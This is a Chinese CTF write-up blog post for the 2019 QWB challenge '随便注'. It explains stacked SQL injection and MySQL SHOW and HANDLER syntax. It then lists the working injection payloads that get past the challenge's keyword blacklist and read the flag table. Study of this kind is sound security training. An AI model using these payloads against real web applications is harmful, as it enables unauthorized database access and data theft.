[强网杯 2019]随便注

知识点

堆叠注入介绍

一、堆叠注入的原理

sql语句的默认结束符是以分号 “;” 结尾,堆叠注入的原理就是在其过滤和函数使用不当的情况下,利用分号结尾,实现多个sql语句的执行。

二、堆叠注入触发条件

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服务器在访问数据端时使用的是可同时执行多条sql语句的方法,比如php中mysqli_multi_query()函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数,简单总结下来就是

1.目标存在sql注入漏洞
2.目标未对”;”号进行过滤
3.目标中间层查询数据库信息时可同时执行多条sql语句

1
mysqli_multi_query ( connection, query): 这个函数是用来执行一条或多条由分号分隔的查询语句的。它需要指定要使用的MySQL连接和查询语句两个参数。如果成功,它会返回true,否则返回false

题中用到的知识

show

show命令是用来显示MySQL数据库中的信息的,比如数据库、表、列、索引等。它不能直接用来查询数据,但是可以用来查看数据的结构或状态。如果你想查询数据,你可以使用select语句,它可以从一个或多个表中选择数据,并可以使用各种条件、聚合函数、分组、排序等功能。select语句的结果是一个结果集,可以用来进一步处理或显示。

show命令的语法如下:

1
2
3
4
SHOW {DATABASES | SCHEMAS} [LIKE 'pattern' | WHERE expr]
SHOW [FULL] TABLES [{FROM | IN} db_name] [LIKE 'pattern' | WHERE expr]
SHOW [FULL] COLUMNS {FROM | IN} tbl_name [{FROM | IN} db_name] [LIKE 'pattern' | WHERE expr]
SHOW INDEX {FROM | IN} tbl_name [{FROM | IN} db_name]

其中,pattern是一个包含通配符的字符串,expr是一个布尔表达式,FULL是一个可选的修饰符,表示是否显示更多的信息。

例如,如果你想查看test数据库中的所有表,你可以使用以下命令:

1
SHOW TABLES FROM test;

如果你想查看test数据库中以s开头的表,你可以使用以下命令:

1
SHOW TABLES FROM test LIKE 's%';

如果你想查看student表中的所有列,你可以使用以下命令:

1
SHOW COLUMNS FROM student;

如果你想查看student表中的所有索引,你可以使用以下命令:

1
SHOW INDEX FROM student;

handle

MySQL中的handler是一种特殊的语法,用于直接访问存储引擎的接口,而不经过SQL解析器和优化器。handler可以用于提高查询性能,尤其是对于大量数据的扫描和插入操作。handler的语法如下:

1
2
3
4
HANDLER tbl_name OPEN [ [AS] alias ]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...) [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE

其中,tbl_name是要操作的表名,index_name是要使用的索引名,value是要比较的值,where_condition是要满足的条件,alias是要给表起的别名。

例如,如果有一个名为student的表,包含以下列:

id name age gender
1 Tom 18 M
2 Lily 19 F
3 Jack 20 M

我们可以使用以下handler语句来操作这个表:

  • 打开student表,并给它起一个别名s:
1
HANDLER student OPEN AS s;
  • 使用id索引,读取id等于2的记录:
1
HANDLER s READ id = (2);
  • 使用id索引,读取id大于1的记录,并限制只返回一条:
1
HANDLER s READ id > (1) LIMIT 1;
  • 使用name索引,读取name以L开头的记录,并按照字母顺序排序:
1
HANDLER s READ name FIRST WHERE name LIKE 'L%';
  • 关闭student表:
1
HANDLER s CLOSE;
  • 读取表中的数据
1
handler 别名 read next;(将句柄移动到表中的第一行数据并且读取,也可以用first或者last读取第一行和最后一行)

题目

首先判断的是闭合符,经测试闭合符为’’

用select查询数据时候发现,被过滤了

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

构造出

1
?inject=1';show tables;

发现这个库中有 1919810931114514 和 words 两张表

然后利用show查看一下表的结构 ,需要注意的是,由于 1919810931114514 表的名字为数字,需要用反引号包裹住才能查询

1
?inject=1';SHOW COLUMNS FROM `1919810931114514`;

发现字段中含有flag

利用handle函数,具体查询数据

1
?inject=1';HANDLER `1919810931114514` OPEN AS s;handler s read next;

得到flag

参考博客: http://t.csdn.cn/VbpwK

Donate
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2015-2024 John Doe
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信